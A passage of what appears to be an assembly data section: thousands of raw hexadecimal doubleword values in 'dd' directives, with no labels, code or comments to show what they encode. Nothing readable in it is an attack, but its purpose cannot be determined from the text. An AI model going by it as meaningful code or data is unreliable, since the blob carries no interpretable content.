94132DAEh, 0FE2621A5h, 943192B9h, 0BF7000EDh dd 4A9DEB45h, 2FAD5AC4h, 0B8A105BCh, 38290920h, 460F80A8h dd 8565EA77h, 0BA30E627h, 1A5C8364h, 5CDA6918h, 0DCC054h dd 840EC961h, 85E1BCF5h, 1216DC49h, 11F325BAh, 23134F49h dd 0AE82ABBDh, 76F85DB9h, 90820F2Dh, 4BA5BB65h, 0E6D385E5h dd 9DDCE0E8h, 81CCA042h, 78509DFh, 0FA714D78h, 0F2181CD1h dd 0CF866301h, 74E46218h, 0E8F3EB30h, 7B2E25B4h, 0BA4E3864h dd 41155FCCh, 0A96D2B16h, 1988460Ah, 907DB5C3h, 0DBB7ED3h dd 14019D03h, 30202A66h, 3EC10FCBh, 450090E1h, 72B2DFB6h dd 1F4A7020h, 876B40FAh, 0F7FA2F2Ah, 2DBEBF4Ah, 0D45947CEh dd 335B0E32h, 9101D56Fh, 0A405A0EBh, 32DBF82Eh, 0CD89884Bh dd 0A9B8397Dh, 397B6405h, 678C7DD9h, 8CD30023h, 598B1A35h dd 0A50716DDh, 78C25358h, 0D16EDF22h, 858A413h, 66252125h dd 675697BBh, 329B01D6h, 65762048h, 63530DFh, 4D9D1084h dd 0D4CA4A19h, 6FDC8AC5h, 7FC0018Bh, 9A592E33h, 4BA9C124h dd 25A28A42h, 0C33D5F6Fh, 13E1C839h, 78A601C9h, 6979E866h dd 0E19D9B95h, 9A721185h, 3216BB02h, 274DE1FFh, 2E300EEh dd 0C054333h, 7C795DE5h, 1626E7ECh, 1597BF9Fh, 0F98B3F9Dh dd 0E3CF0437h, 91FC2343h, 61B1B19Dh, 0A28A56Ch, 1C450120h dd 5EF10420h, 86882C20h, 0FE95D374h, 1BFADEB5h, 66BBC417h dd 0B14A30FBh, 0FE3A3F44h, 8D5B015Dh, 9BBDD071h, 7C95170h dd 3F85827Fh, 92C53401h, 665B604Bh, 7C843370h, 89800E78h dd 0ED09D187h, 4A9EC270h, 0EC3702DCh, 3988E994h, 5526C35Ch dd 53198069h, 97EADD45h, 531FA324h, 0C16C9AABh, 74CCEB5Dh dd 0FD50A8DCh, 4ADC4E20h, 31EC8CE4h, 267D9510h, 7F94DD4Ah dd 3DA0B8E6h, 0B701CB11h, 160879C1h, 562C50DAh, 8218DB5Ah dd 50E33DB2h, 1001E06Fh, 134C195h, 0C7312968h, 608281BEh dd 4157D2D6h, 7B708673h, 0CAF60471h, 0C4E1D84Ah, 5220136Eh dd 4A00A7E9h, 256C3FEEh, 454E6D6h, 0BADAC4BFh, 0D39FB870h dd 3707976Fh, 21068638h, 28B4E934h, 335984B2h, 0F7BB312h dd 700D9D31h, 0B60E00A5h, 819D095Ch, 9A951AB2h, 70EB5363h dd 5F023BFAh, 0D0EAC8D3h, 0B516601Ch, 0BD5FCE29h, 25511BEAh dd 0B5FF8D6Bh, 194116F5h, 2B89AFA5h, 0AB856BDh, 907A1749h dd 40421F0h, 0B8D1CDBFh, 6BFF4A6Ah, 2D0A006Ah, 0B305F9C5h dd 0A0B11882h, 28B9EACBh, 0C5605080h, 0E5EAC468h, 0E8A92E3Fh dd 0C0F7541Dh, 3883A079h, 0B501D142h, 9C65F51Fh, 252ED67Dh dd 0BCBBB987h, 37BC0643h, 19058D0Fh, 39ABF48h, 0E7685F3Eh dd 4C619BDEh, 0E825DEA4h, 69E9C7A0h, 0CF010F39h, 4F152F0Bh dd 60FC1983h, 975F7261h, 0DD18AD01h, 77CDE677h, 6AE418E0h dd 3E8E0045h, 0F31BD150h, 0DD4EB529h, 0CA9D734Bh, 62D6564Ch dd 0B97E8C0Fh, 0A0962h, 50FD8A90h, 58BFB73Bh, 625D2D02h dd 11E2B7BDh, 0CA33801Dh, 222ECE5h, 0D6518709h, 73C2617Fh dd 9097DD7Ah, 0DED9CAh, 9E585ACBh, 0E20A1C9Dh, 0D465BD04h dd 0CDB835B7h, 884629B2h, 4A1F9495h, 277AAE2Fh, 3C52BB02h dd 44DC8531h, 2C764A5h, 0BA2BCB81h, 7A1D7029h, 3D704CDBh dd 0C63B0163h, 0E69FF97Fh, 0C0A65BA6h, 294C9951h, 1019258Dh dd 0D21903E7h, 0EA423355h, 0BF691E1Eh, 0D95927h, 0BE431613h dd 2E05C002h, 0D8BF0FE8h, 91CF9F3h, 0E2145285h, 0CFABD2E2h dd 647DCE5Bh, 7EC0FF16h, 97FAB70Fh, 0F195E730h, 322B2041h dd 0C07650E5h, 5B468C40h, 9EB40057h, 0F1B362C1h, 360048C8h dd 8BF08AD5h, 4E50E5FFh, 3D18852h, 2A1CBD00h, 5F573356h dd 2231690Fh, 469EBEBh, 0F32F09BAh, 2CDE7110h, 5ED9150Fh dd 2709929Fh, 5CD54229h, 810F621Bh, 80DF5B55h, 0F5913D68h dd 9146447h, 9D43381h, 7BAAEABAh, 63821312h, 0EDCD5D46h dd 0A26C80E3h, 92A1658h, 62B17468h, 8323400h, 0B61E9F89h dd 1A12AB71h, 11C2BF3h, 0A577AE8Dh, 379704C6h, 11820237h dd 235EFC22h, 465C80EAh, 7E692414h, 811A4908h, 0BB6004C2h dd 4F4EF093h, 15C688EDh, 0DA810F2Dh, 76207241h, 5089C461h dd 0B9CC2DEDh, 658D3F40h, 89EABC1Ch, 317B14D1h, 0C0D04DA7h dd 61D49B9Eh, 1D6DE312h, 0E9403BF3h, 0BCE5B0F1h, 467060F8h dd 3E17E1E7h, 0F49B6AC1h, 7A9069C0h, 0BB04A503h, 7572CA40h dd 83A5899h, 9A2D08EDh, 0FD5298CDh, 3EF0343h, 55E08388h dd 1280C7B8h, 964DFB02h, 0C250FA8Bh, 8735DFDh, 3A7FF183h dd 0B796EA11h, 93D81C8h, 3A10BDB5h, 89D768h, 0D7130203h dd 7CF0C5EAh, 5E069A97h, 0C07DDC64h, 0D98B0512h, 26881AF2h dd 1105B8ACh, 63F096D3h, 411FB450h, 0DC130B43h, 0C09DE66Eh dd 12172B1h, 8BD6DA28h, 30965BD8h, 456C17Eh, 4A2F586Dh dd 0F6BBF0D4h, 89B6F187h, 1110F44Ah, 0BBB49235h, 8AD94B8Ah dd 0D57125B7h, 0F700B1BDh, 25E73AEDh, 9D664B2Dh, 0C09D5AB3h dd 5FEE5B8Fh, 91FC25ECh, 0E00CC64h, 3EC1A277h, 1628EA1h dd 8B03604Ah, 2EBBD320h, 0EAC8A116h, 0EB1600ABh, 0F856E10Fh dd 3C2505E8h, 0AEABC726h, 0C572D434h, 431CA400h, 91199EFCh dd 0CB800499h, 0B85FE9A0h, 8B2F7D9Ah, 1137C1h, 0EB07C13Dh dd 0A601960Eh, 9D0B98D0h, 0E93B0121h, 7D2D94FEh, 0B1500F40h dd 0A83780FEh, 0E1DF7B52h, 2864627h, 0DE6AFC9Ch, 4500DE85h dd 0A12D6E57h, 58156A3h, 2C5EB8D3h, 2A75B116h, 0BC00206Eh dd 68EB9976h, 0DAC2E16Fh, 7426C21Fh, 924BDE9Eh, 0BCA99885h dd 9A025EB8h, 6F578C15h, 10C5CE86h, 0A16599Dh, 0A95B5650h dd 0D60ED7A5h, 0A17A52h, 833E133Bh, 972742BEh, 0F955633Ah dd 6F0AF9B3h, 0E106720h, 215EEEDh, 4B8F5ED3h, 0CEE0C754h dd 1A975BF8h, 64185570h, 8F00CB49h, 22F12DFEh, 7ED09Ch dd 7AA2061Ah, 0FF307B3Dh, 8501D109h, 5949299Dh, 2FBC4F59h dd 8040674Fh, 97026A50h, 4700AD37h, 0B2C4EC8h, 5887000Ah dd 7CD4D781h, 0EBEC3E31h, 0D935C00Ah, 0ED24E45Fh, 9234371Eh dd 0BC8EE815h, 0C0AA09A9h, 2A70B746h, 94B0DF59h, 4BBD381Eh dd 0A0BD37EBh, 9AE40827h, 0F3DB3300h, 645D5E71h, 9857AAFh dd 0CDFE96Ah, 29628F71h, 0E4400BC2h, 0DFA6E14Dh, 0B9AA0800h dd 78C1D43Bh, 0C9300FBh, 0F56A74ABh, 46253AC2h, 8085C6E9h dd 24A2E80h, 50FBDB80h, 9F515160h, 8A575B8Eh, 9BD8F61h dd 5C0A91BDh, 5B57524Bh dd 40D358B7h, 0BB37C701h, 77953606h, 0AB9D532Eh, 6812BDEh dd 2E0792B7h, 0E6BB9B34h, 1501B514h, 0FF6A62B7h, 5AF02936h dd 0EF01C049h, 891B3BC6h, 0BD2E0985h, 87CF0B89h, 89DE0FE5h dd 51965C0Ah, 818C1514h, 0E32CF680h, 251F2EF0h, 0F746B4h dd 71E4F91Fh, 0BD5B09BFh, 7B0072C2h, 767D9708h, 0EC5C2497h dd 33A6BBh, 3D17526Ch, 9DC7B6h, 0D0DAAA8Bh, 6344252Ch dd 24CAF001h, 11E9898Ah, 0C1713380h, 0DAA9A173h, 7A09D1Ch dd 3AEB0300h, 251E12F5h, 88C25B81h, 2CBA96C9h, 256DC467h dd 808E0113h, 2EF544E3h, 66608800h, 0B089A6BEh, 41A4B76Ah dd 1C8EB861h, 0BD8AC82Bh, 8B899481h, 42985CD1h, 4502B2B3h dd 0B5310001h, 0C6951B71h, 888B7092h, 0A5219501h, 11F5A41Eh dd 0CD512807h, 2DE6F302h, 77D03B5Bh, 0BD841751h, 0E9062C95h dd 0F54A1744h, 0B8F25EFh, 0B580CAAh, 31970EF6h, 0CD0C2A7Dh dd 0AD111E42h, 95311C07h, 6B900590h, 0FF4B34Ah, 92918509h dd 0D2847EE2h, 16233E29h, 0ED302F04h, 8CE86EB9h, 0A6B6FA01h dd 0DA1897F0h, 0D1B5E840h, 94D69D0Eh, 0D436FE52h, 8FB9950Ah dd 484FA108h, 0FCE18928h, 43FF6677h, 1EDA3081h, 0EF56FABFh dd 2BD4312Bh, 9CE93AC0h, 1C01F2ACh, 61541D51h, 1C203F63h dd 359933E3h, 68445F4h, 0FC72D22Bh, 6F369731h, 2C24295h dd 1A01F8h, 7A3BFFBBh, 894A4Bh, 0D4807C38h, 19E3ADBEh dd 3E0FAC31h, 0C9385BDEh, 0BD8960C0h, 0ABB71DB1h, 2544C607h dd 0E46E61D6h, 1D4AABEh, 0EF46A8EBh, 0D180A26Ch, 2D835110h dd 697E8959h, 7AE5591Fh, 0BD70C8DBh, 40FD94E4h, 3C40226Dh dd 8597D300h, 92F9D8F2h, 0E58D1001h, 0FD205F28h, 14D25C7h dd 216EA3F3h, 0D179184Ch, 0CC31C165h, 4257710h, 3C08C512h dd 794821C5h, 12ED4840h, 0F2B62099h, 0D19D107Eh, 0C1DBA51Ch dd 13EADDC0h, 70CABDFFh, 0D5C06949h, 8C3E12h, 831950B6h dd 5A2F0AC3h, 0C24AF402h, 557DB189h, 0ADB7CB89h, 0D6843182h dd 79ED8274h, 711C5C01h, 84841520h, 2CA2F5A8h, 0DC065C29h dd 9409111Ch, 326BF140h, 977D04F8h, 503F5B44h, 0BE408405h dd 23AFA561h, 1EB0CB08h, 7809A41Fh, 8BC346C4h, 12DBC615h dd 0E25B2391h, 939F8E39h, 29808F9Eh, 9993F6D8h, 6016AE12h dd 0C2E6DAEEh, 5157894Eh, 0DC93031Dh, 6F1B77Ah, 0E117CCD6h dd 72A28E00h, 5FB2F8B0h, 2C0997F5h, 0AE950B58h, 4C761100h dd 0DEC98D87h, 10A56751h, 0F688691Eh, 0A43601C9h, 81D5DE1h dd 0B5235Ah, 0AC6D40F9h, 4CEF703h, 1EE7DD70h, 0C0FCAC5Bh dd 5836EEBFh, 6904A01h, 418C0F2Eh, 617C5BE0h, 2804F55Ch dd 60048E3Eh, 9ED8503h, 5FD9CA5h, 97D16102h, 80134500h dd 39D9F6EEh, 7812A468h, 5BDDB095h, 6AA69B17h, 46E043E6h dd 30FD84DAh, 0D62FD362h, 64D6ED0Fh, 1B4601Ch, 9EE005E6h dd 5DD9155h, 0D4E195F7h, 92D9A884h, 8248DBFAh, 0E0D4A993h dd 82157136h, 4005F004h, 66C2DCBFh, 0D2E9241Ah, 0E146A500h dd 2076495h, 966C438Ch, 97EC9A44h, 0EDC45B4Ah, 53B013F7h dd 0D40907E4h, 73D8F7BDh, 1FDDA705h, 754280D8h, 4BBB9759h dd 27C2F013h, 1219B50Eh, 554800E7h, 0D2AA91Bh, 20411110h dd 0BDB0B312h, 59DAD31Fh, 16666D80h, 3325D1B8h, 0CDFD62D8h dd 13EEE028h, 0D6EE3163h, 0B77E960Bh, 0F89C05CDh, 9B3A5FF1h dd 78E3825Ch, 22C9F6BDh, 9D331C90h, 0E9F824C9h, 10804E7Eh dd 1BA56B12h, 20F4B67h, 5B9D0C53h, 0B7A5B055h, 545F90FEh dd 76689FEDh, 697E010Ah, 0B9BB5250h, 0F20E81Dh, 4B1314Ch dd 585A0755h, 0F504F4ACh, 0AB6961EEh, 7602576Eh, 0DFB8A45Fh dd 12022861h, 290BF451h, 0B5F725A8h, 7E6486A2h, 4825B246h dd 40425096h, 4299901Eh, 20D69880h, 0C1D55634h, 5FD98AF0h dd 5B0B7F90h, 48CC3822h, 0EB98008Ch, 43471AB9h, 18006A79h dd 0BEC81737h, 4D2E4639h, 61893656h, 1FC0904Dh, 0B1CF8B60h dd 8E05838Ah, 11F81EFEh, 0F9A66113h, 0E0C55A04h, 0A1C08E87h dd 254599C8h, 28C55FFBh, 0CD259CA8h, 1C3E670Eh, 6609200Ch dd 5FA64ABBh, 367811EAh, 72059D95h, 0F7525DE0h, 95220D80h dd 0BC43C89Ch, 0C8C3D53Eh, 53BB81A9h, 79402FF5h, 0D58582D2h dd 0E1BD560Fh, 6455BD2Bh, 8101519Fh, 0C28896E7h, 342B5B4Ch dd 0A58EC113h, 0A7752B14h, 9E082E6h, 80A0FE4Bh, 0D4B0ACBh dd 6096950Eh, 1A3DEA5Ah, 1EB33C50h, 8041DBDFh, 0E01170B2h dd 998D1213h, 0DAB0510h, 488F716h, 34E59D2Bh, 3CFA9ADh dd 2C84AE93h, 0A4DB8335h, 5F6275C0h, 7B4AF6F0h, 0A23092CDh dd 0DD0E4A49h, 0BE127A92h, 15B276A6h, 954B5930h, 754D7189h dd 3108D7C0h, 7954BBDh, 81EB8129h, 2B40379Fh, 0E7A68512h dd 66C1E5E3h, 7C742B78h, 0B4A8D9EDh, 46F76B00h, 4C80C1CCh dd 7E9A95A9h, 79710F40h, 0CFF98A2Fh, 362C4009h, 7B02FFE1h dd 1372970Ah, 0FCD76107h, 96264CC6h, 0C4182DA8h, 961CF8F5h dd 1EB06050h, 0F26158FAh, 0FE8A2C56h, 0D41EA670h, 0FB011746h dd 0FF3275Eh, 4C17386h, 372689C7h, 33D656ACh, 0B5C857BCh dd 0AE64810Ah, 44AC5F88h, 0B2939A2h, 0D21A521Bh, 82F330CAh dd 0D30F38DAh, 0D25369F3h, 4D9435DBh, 51017064h, 9BEB93A9h dd 0B899807Dh, 4684AFAh, 57056594h, 0C17AAC2Eh, 0FE9D98Bh dd 5AAB3580h, 0BC4C05B8h, 0B2446E00h, 0CA0A14F9h, 0B6624AD6h dd 3319B2AEh, 0FDEDA088h, 6689CF25h, 70BEBB8Eh, 0FF4C5C78h dd 894B059Bh, 0D7C4725Eh, 93A2B2A8h, 1F6E0FCh, 0A1506E10h dd 6C880F68h, 0D1BD8263h, 0BC530928h, 4D6A9ACh, 7510D3E7h dd 8034E8AFh, 3627AB5Dh, 9D12003Ah, 1D770E8h, 0AA01EDA7h dd 0DB86672Ch, 132BC944h, 0B878B9BFh, 8B80172Dh, 0ED9C04DFh dd 7F3CAB1Ah, 12AF681h, 0E928F95Ah, 0C6FFF434h, 2A70227Bh dd 0B5C4007Dh, 0B2E37094h, 17805CEh, 0A0005D4Bh, 4DD05EBFh dd 0C18B2B1Ch, 6B3378DAh, 73708412h, 205BD7B3h, 0BB029BA3h dd 45C33400h, 0D01E934Dh, 26B001A0h, 67237054h, 0FC03090h dd 0BC2988h, 0E2044755h, 0DB44DDE7h, 83AF7204h, 47BCC2B9h dd 0EF95BC80h, 7F00E905h, 0D36B60E2h, 1C9059D4h, 9D5B5F8Ah dd 0E6DAD50h, 6676D3C0h, 0CB102A29h, 6EE53E65h, 0A1DB13FBh dd 908ABB01h, 72BAF041h, 0AB994E7Eh, 0DB051452h, 9104C395h dd 60ABD107h, 0E699DB82h, 0FAA7C811h, 32F7D256h, 0A7806B2Fh dd 34FA54BBh, 505B2100h, 16B274BFh, 0D220FD5Dh, 21608909h dd 0E28660E2h, 61E06418h, 4245BDBDh, 51D4691Ch, 0CF30B0D6h dd 604BA0E4h, 0FCBC388h, 896FC0C9h, 81B615A0h, 4F094DDEh dd 59614341h, 0DE29ACC0h, 0D9301427h, 0D2E1AD7Ch, 4DCD2A26h dd 4D6A3Fh, 12A2EEB4h, 20E8ED5h, 9167643h, 15F0859Dh, 14955398h dd 18C45F9h, 11296195h, 8D2F6002h, 2560607Bh, 80D8324Eh dd 6F0400B2h, 613C56CDh, 52485090h, 0FBD3040Fh, 34EC310Fh dd 0CC039380h, 5A12DBECh, 0B2C85058h, 8D0C049Dh, 0D0CC2F8Ch dd 0E99E4CCCh, 7A642200h, 76AD636Fh, 0B7560990h, 9F765B68h dd 0D4095EE9h, 3CF2E100h, 0E33B2EE5h, 7C9F28CFh, 80238085h dd 0C8AF61F3h, 0D2E9C0BEh, 20779C55h, 0B32DD111h, 0C01ACD5Fh dd 0B00618B3h, 80D4AC00h, 8988E6D9h, 8F920BDh, 0A4AE3F4h dd 0DB2FFCCDh, 0C848801Ch, 780E37C9h, 502D246Ah, 44492CEAh dd 0C91EAE90h dd 0BC40DDFAh, 899304DFh, 0B80E4D8Dh, 0EA09A332h, 0B528F8B5h dd 0BD107E4Eh, 9A321CDh, 374935E2h, 0DBD5606Ah, 512EA0EEh dd 0DD1D262Ah, 1D35A72Dh, 44C15959h, 12E3501Fh, 31AD9ADEh dd 0A9B64780h, 380ED2D1h, 0A22B881Bh, 7FFCBCFAh, 0F8337F58h dd 84599E53h, 71E45F03h, 245E416h, 0EAC863ACh, 12187B4Bh dd 3FA7B1DAh, 0D18175ADh, 0D42AC34h, 138DF901h, 0ACC1D396h dd 7D6C6585h, 0B5A18252h, 0B0FE1892h, 524C60ACh, 6B29C058h dd 1E7368Ah, 5AD3E0D1h, 2411958Bh, 2B0361E7h, 519D31C8h dd 0D1670A19h, 42C48F0Fh, 0C99887E9h, 27D22615h, 5F069E10h dd 7502D164h, 565FF952h, 68D128D6h, 89BD0F12h, 0C55A841Ah dd 0BBC017E5h, 60E9FAE6h, 0B509134Dh, 69C61B55h, 903FF8Dh dd 12719D33h, 3211C45Bh, 7BC07858h, 0C428DB2Ah, 4E117600h dd 0E2CD433Bh, 640A07D6h, 31FAE0A2h, 44A583A6h, 8BA4062Eh dd 0BD0AA6D9h, 7095896Dh, 20CC4C25h, 0F2D49F7h, 8A592182h dd 6D256AFDh, 4E36E83Bh, 23156AFEh, 5D013D19h, 69B1DD02h dd 0AF1D21B9h, 0CCE5ED1Ch, 6C027BB6h, 0B4AE078Eh, 2DB55647h dd 6DC09B6Dh, 4AC290Ah, 360164BFh, 9DADE06Ch, 8D1D6920h dd 0BE88C12Dh, 0D8A9CDF9h, 42777C28h, 0B897B870h, 78DE6F78h dd 7AE40001h, 0D2F850EFh, 0FD009D19h, 0EC0D4FBFh, 0B0B9618Ah dd 64D709E8h, 0EB0B5FC5h, 2A0A79E1h, 9A5E50DFh, 16C9806Bh dd 1A86AE9h, 8917482Fh, 3A08AD85h, 3EBC59BDh, 0E7C23000h dd 0C880BBFDh, 89094B6Fh, 0D86E7F21h, 5879F64Ah, 21B64E91h dd 0DA3118B2h, 48C41AF8h, 0B11301D8h, 0CD17210Eh, 5A2C2E32h dd 593A97DAh, 2FD4EA5Eh, 0F087EC80h, 0B5899088h, 179704B1h dd 0A7EAA452h, 34C04C6Dh, 0EA92FBC9h, 5C93250Bh, 80122DC5h dd 87DA9EFEh, 0B8D7E5F1h, 7B6FDF09h, 4F974D40h, 1D151CF5h dd 4E5BA5B0h, 9560319Ch, 1C644A47h, 8AFD3660h, 0DCD46801h dd 569E8EE5h, 0E1F90120h, 2A5C5B02h, 0E6146B51h, 0D00DE0CCh dd 0E3104839h, 481B4510h, 0DC4B74D9h, 5022518Ah, 8093198h dd 71FA8A78h, 2707460Dh, 1D3DBAC4h, 1688AB16h, 0F7252EB1h dd 783B1886h, 0DFD2349Dh, 2544CEA1h, 4850D1A9h, 0EE9A25EBh dd 1541D669h, 28D55005h, 76A5BF22h, 5CB52F13h, 50891491h dd 1071C6FDh, 5E1D399Dh, 122987CCh, 0A919A9BDh, 858ACBE9h dd 28BD9D2Dh, 0DDA7503Ch, 0E78013E0h, 4C6A262Dh, 0C2E87E9Bh dd 1F03FF55h, 7700CB6Ch, 4D94F02Dh, 2EF86Ch, 46780610h dd 0C9A41EBFh, 0D268B09h, 0B34DFA5Dh, 0F0E32D3Ah, 0D81AB4ECh dd 0CBBEE40h, 685444B4h, 82AB8B22h, 2963424Ah, 33A9F8ABh dd 0FC29D190h, 2260DA12h, 0A47F5194h, 8B958F9h, 1FCF6BD2h dd 6A09E66Dh, 27FE5925h, 45DB7F5h, 80F13752h, 1893D01Eh dd 48E94B09h, 91EDF502h, 38C6DAE0h, 830950AFh, 892D4B1Bh dd 0F69B2B17h, 0B1A956C0h, 6712F41Dh, 28E1FC5Eh, 0C6FBDE6Bh dd 0BA09F5Eh, 850F1101h, 2AF8A899h, 0D1D134DAh, 36AD23C0h dd 9955420h, 0A528595Fh, 21503890h, 1E249E00h, 9CB740E3h dd 17FF5857h, 36E5940Eh, 8999C382h, 80F2B755h, 9DF1CEA6h dd 60488085h, 6ABFA4F8h, 0AC5C0028h, 950964E0h, 4A065F21h dd 9066D79h, 0D0790446h, 851411A4h, 42C44A07h, 0AD6EEAh dd 1288E47h, 4B67B212h, 23EF2FCh, 16D7DFC1h, 0BDCA817Fh dd 362E8B77h, 0F120A234h, 0F9FA04h, 5735D068h, 45BF515Ah dd 6BEB0509h, 1F2B705Bh, 0AF48362Fh, 501C2DB7h, 0E46CD9C0h dd 275C87CEh, 0AA77B67Ch, 7969637Eh, 5F50A5A0h, 4D952916h dd 41B20F52h, 0C98ADB5Eh, 0A5FB82D9h, 0D0DD2E2Ch, 5E734913h dd 0F5BB2F30h, 30922527h, 0FB8BB4C0h, 0F266649Dh, 2752585h dd 1679595Bh, 5136118h, 44B4E86Bh, 0C4500A0h, 9E8818D5h dd 0C12D5E4Dh, 90014422h, 0DE2D54FFh, 50612C5Bh, 0D781788Fh dd 181D7802h, 5C5B5F4Dh, 0B0545A40h, 0DE3E4751h, 0C9FED2E8h dd 0FFF340F2h, 0BFBB39E9h, 4B5401F0h, 0BC758EF5h, 0BBC3F0BBh dd 7E3478E0h, 0E8169601h, 1EA98DA3h, 680B203Eh, 0DD0099F0h dd 3391D3D6h, 97E68618h, 82FA214h, 47C06F04h, 0FFA08FACh dd 6F92AFDBh, 0E8744B0Ah, 4907420Ah, 7FE7BE46h, 0C69E7360h dd 0A0109F51h, 82000977h, 0C2CC99Fh, 138EF12h, 0CBB0BB8Eh dd 0C65B7524h, 0AF9A3845h, 0E1D56DA5h, 2A2ED1EDh, 1423A76Bh dd 57095A12h, 0E9D756D8h, 7350747Bh, 13C0E50h, 91162595h dd 2E02ED83h, 0B429B32Dh, 0E9042EA8h, 3011BD31h, 4D253BDh dd 52189D6Ah, 0E78074B8h, 0C4C3A563h, 4609A300h, 0F1B4B07Eh dd 9F3FB28Bh, 0B56297F6h, 1672D7F9h, 4FBBF97h, 0ECD5FF3Bh dd 0FE8AC527h, 0F60675AEh, 70A9A170h, 18B5AC41h, 0AC4F590Eh dd 6CF400E4h, 0FDBB0171h, 7E599AB1h, 0C8C54F18h, 0DA2674ABh dd 0F4A3C084h, 93603DDh, 0EC34C62Eh, 0BCDA92A5h, 0EE302569h dd 0DE8A2791h, 425408BAh, 0B42A02D4h, 8BA26063h, 5C8E9277h dd 48CD2599h, 0AAE3E8C0h, 542900C2h, 8BBC791Dh, 1463C5BDh dd 982050C3h, 0C21BED95h, 1EF58D13h, 0F033857h, 0A30A5E8Bh dd 129522A5h, 0F361A7B1h, 53521A73h, 98BAD254h, 3BEC169h dd 3D0801BDh, 5A6D3F72h, 15F2C1A6h, 0B7B71630h, 3BDB008Bh dd 14215D88h, 503DD196h, 0DB5FDF3Bh, 0CB6180D5h, 1A5A6CE7h dd 4C664453h, 0FAC25E13h, 0BF60715Eh, 4BE1490Fh, 2568CA3Ch dd 808F7B21h, 0ADCC3FDh, 1C0E16A2h, 61302755h, 96D2E693h dd 74662B7Ch, 9D140EF8h, 0E49F32F1h, 3BA9D5A9h, 5896BDF0h dd 0F5C0219Ch, 2F805A23h, 0DAA6F005h, 0FC4D2CE4h, 8C84C90Dh dd 0BC5B61F3h, 8589C766h, 4D641A75h, 0F78470B8h, 0D6E9C09Fh dd 55001DD8h, 9BE2309Eh, 97A65E18h, 87D5499Ah, 79B9BA29h dd 575E4428h, 2C29B3E8h, 112D09F8h, 4D6B0879h, 174B42FCh dd 0F1CB9740h, 73529017h, 280E42E2h, 4EE71B57h, 387542A3h dd 0EC402A7Eh, 0FA5FA35h, 0E0800534h, 0A86FDDA6h, 46B5AF90h dd 0F3969578h, 28E9F816h, 9B5A3AACh, 0CD9D81E1h, 0F300DD0Ch dd 609F208Eh, 4AC9B5BFh, 4F9FB708h, 0D700E46Eh, 0BBB0CBBCh dd 0C0B6982h, 559D3160h, 38B1D3E0h, 55B5614Eh, 0B4E1202Bh dd 6900CB23h, 3714A43Bh, 0EE9DF73h, 0F5806051h, 0BC11BE60h dd 0BCC25D98h, 400F33E7h, 4A853130h, 0BBA31625h, 0C0C37C9Bh dd 0D4E2BC62h, 0FB9D25D5h, 0E0C78502h, 6377526h, 84618F81h dd 122EFCF5h, 1FC6FD1h, 7902A16Ah, 9880900Bh, 0DC44BB50h dd 24F35664h, 0F54B7E84h, 7D95C492h, 7EB5B658h, 733EDCD4h dd 1EA500E7h, 0C8310D32h, 0E71A9708h, 76E9CD56h, 0A62CD486h dd 0EE0F2F67h, 92B61A56h, 0D1194110h, 0B016E3Fh, 4097061h dd 38AB0F61h, 4F8489BCh, 5AE6E02h, 6050737Dh, 0E7FBB6D4h dd 69B802D1h, 557E32DEh, 7D7C0BA9h, 67B90DDCh, 0AFB589CDh dd 0A576D1C2h, 2FBCCF6Eh, 0E5D105D4h, 91426BA1h, 2E7BE956h dd 41D1C038h, 2D8089E0h, 0C08A7604h, 0E5E19C09h, 0C06AF11Fh dd 181BA840h, 0A7AEF4DEh, 601444E3h, 4BE780DCh, 33C88CE0h dd 1599D12h, 0D900A4E2h, 0F2FEBF50h, 84923AEDh, 4B18F33Dh dd 9D608B98h, 0F1D79E9Ah, 19C92C83h, 2E61D1DDh, 0BF669960h dd 0B6AE5AC0h, 6733B42Dh, 574220Bh, 0DC30BB1Dh, 0FF6A2DC5h dd 0F91EF05h, 0BAED8888h, 7862939Bh, 73166DD1h, 0FCF8480Dh dd 0C0ECB996h, 18DAE269h dd 0E9B60087h, 8BE073CAh, 31975BFEh, 41521ECh, 40048074h dd 0F26DB966h, 61F0128Bh, 0B12AE0B0h, 48E61240h, 0C0DD0C70h dd 11859448h, 0A1019623h, 9A86F476h, 0B12A07ADh, 6012FA5Bh dd 971F41CEh, 8E0F819h, 85F84BBFh, 895AFDF2h, 97EE70DEh dd 0AC006E4Ch, 71E17062h, 1644F57Ch, 13B8DD33h, 7F273h dd 1EA3E3AFh, 9FFD6C20h, 0D811D17Ch, 2B0CC673h, 68B798C8h dd 3E88BFD4h, 954B3BA0h, 1002E3EBh, 0E926184Dh, 56604205h dd 5F1D97Dh, 0EAC28B5Eh, 18016609h, 97A36733h, 0B16EEC0Ch dd 0BCB31A4Ah, 3F338028h, 0B113DF81h, 855102DCh, 66550E55h dd 0E96E803Eh, 93599543h, 0B7F464A5h, 0B9337284h, 862C88F4h dd 55719589h, 0B55F5777h, 735B4D49h, 1BA834E9h, 3641A8E0h dd 1AC27B67h, 0BA945521h, 2F5FA021h, 0A140674Dh, 0FE53ED86h dd 8C6A1A55h, 587D7602h, 0A62BF335h, 0DB08F00Fh, 607E0276h dd 0DA8BEF37h, 0B9622E5Eh, 0A6897844h, 476C011Ch, 725ECC75h dd 0F5132E54h, 0F8E0B2E6h, 0E001BEB1h, 4FC7C806h, 0AC41C525h dd 0FC021A6Dh, 1E21D782h, 0DBC02B02h, 55E6704Ah, 0BD278E90h dd 6B129B9h, 5A5931A5h, 0F024FAD2h, 0B2F5DDACh, 0E4F34848h dd 0A0AC1FC4h, 809ADB93h, 59268F03h, 0A2EA04E2h, 87F5CF36h dd 90AD284Fh, 0BD168834h, 99FCD0Ah, 0EB5677D9h, 0E20B31C5h dd 0DEC45413h, 0EF0B1546h, 4804F955h, 0D22FABCFh, 2DACF64Dh dd 60EC4702h, 4A799D09h, 7642ADh, 0FE75BE7Ah, 610927B4h dd 9E4D35F7h, 81F2DF2Eh, 299AD5C6h, 13B52B9Dh, 88B3282Bh dd 97DE8A88h, 38539712h, 257A2770h, 2864F6C0h, 42944F09h dd 25EB5A15h, 0FE5B03A5h, 16BFB5A5h, 9381BA41h, 9030D63Dh dd 8F164B1Dh, 0C019C8C4h, 0B963DB7h, 258D643Bh, 11BBC523h dd 0BE044B97h, 97B85FD9h, 8120A0A2h, 2170DFD3h, 57646097h dd 0BDC1B953h, 0D33AAC6Eh, 0D98C6645h, 0C1E00CA6h, 35027670h dd 10699ECCh, 0DEC3C18Bh, 89C7012Eh, 2A1DDDBDh, 572241A3h dd 7D852909h, 99C2732Dh, 0EE951A51h, 24AF5B05h, 13C5001Ch dd 74F952E6h, 5E5F9000h, 0C02D263h, 32532C08h, 9551AA4Dh dd 6AB7A04Ch, 0A82720D6h, 333A91h, 7C64CCFBh, 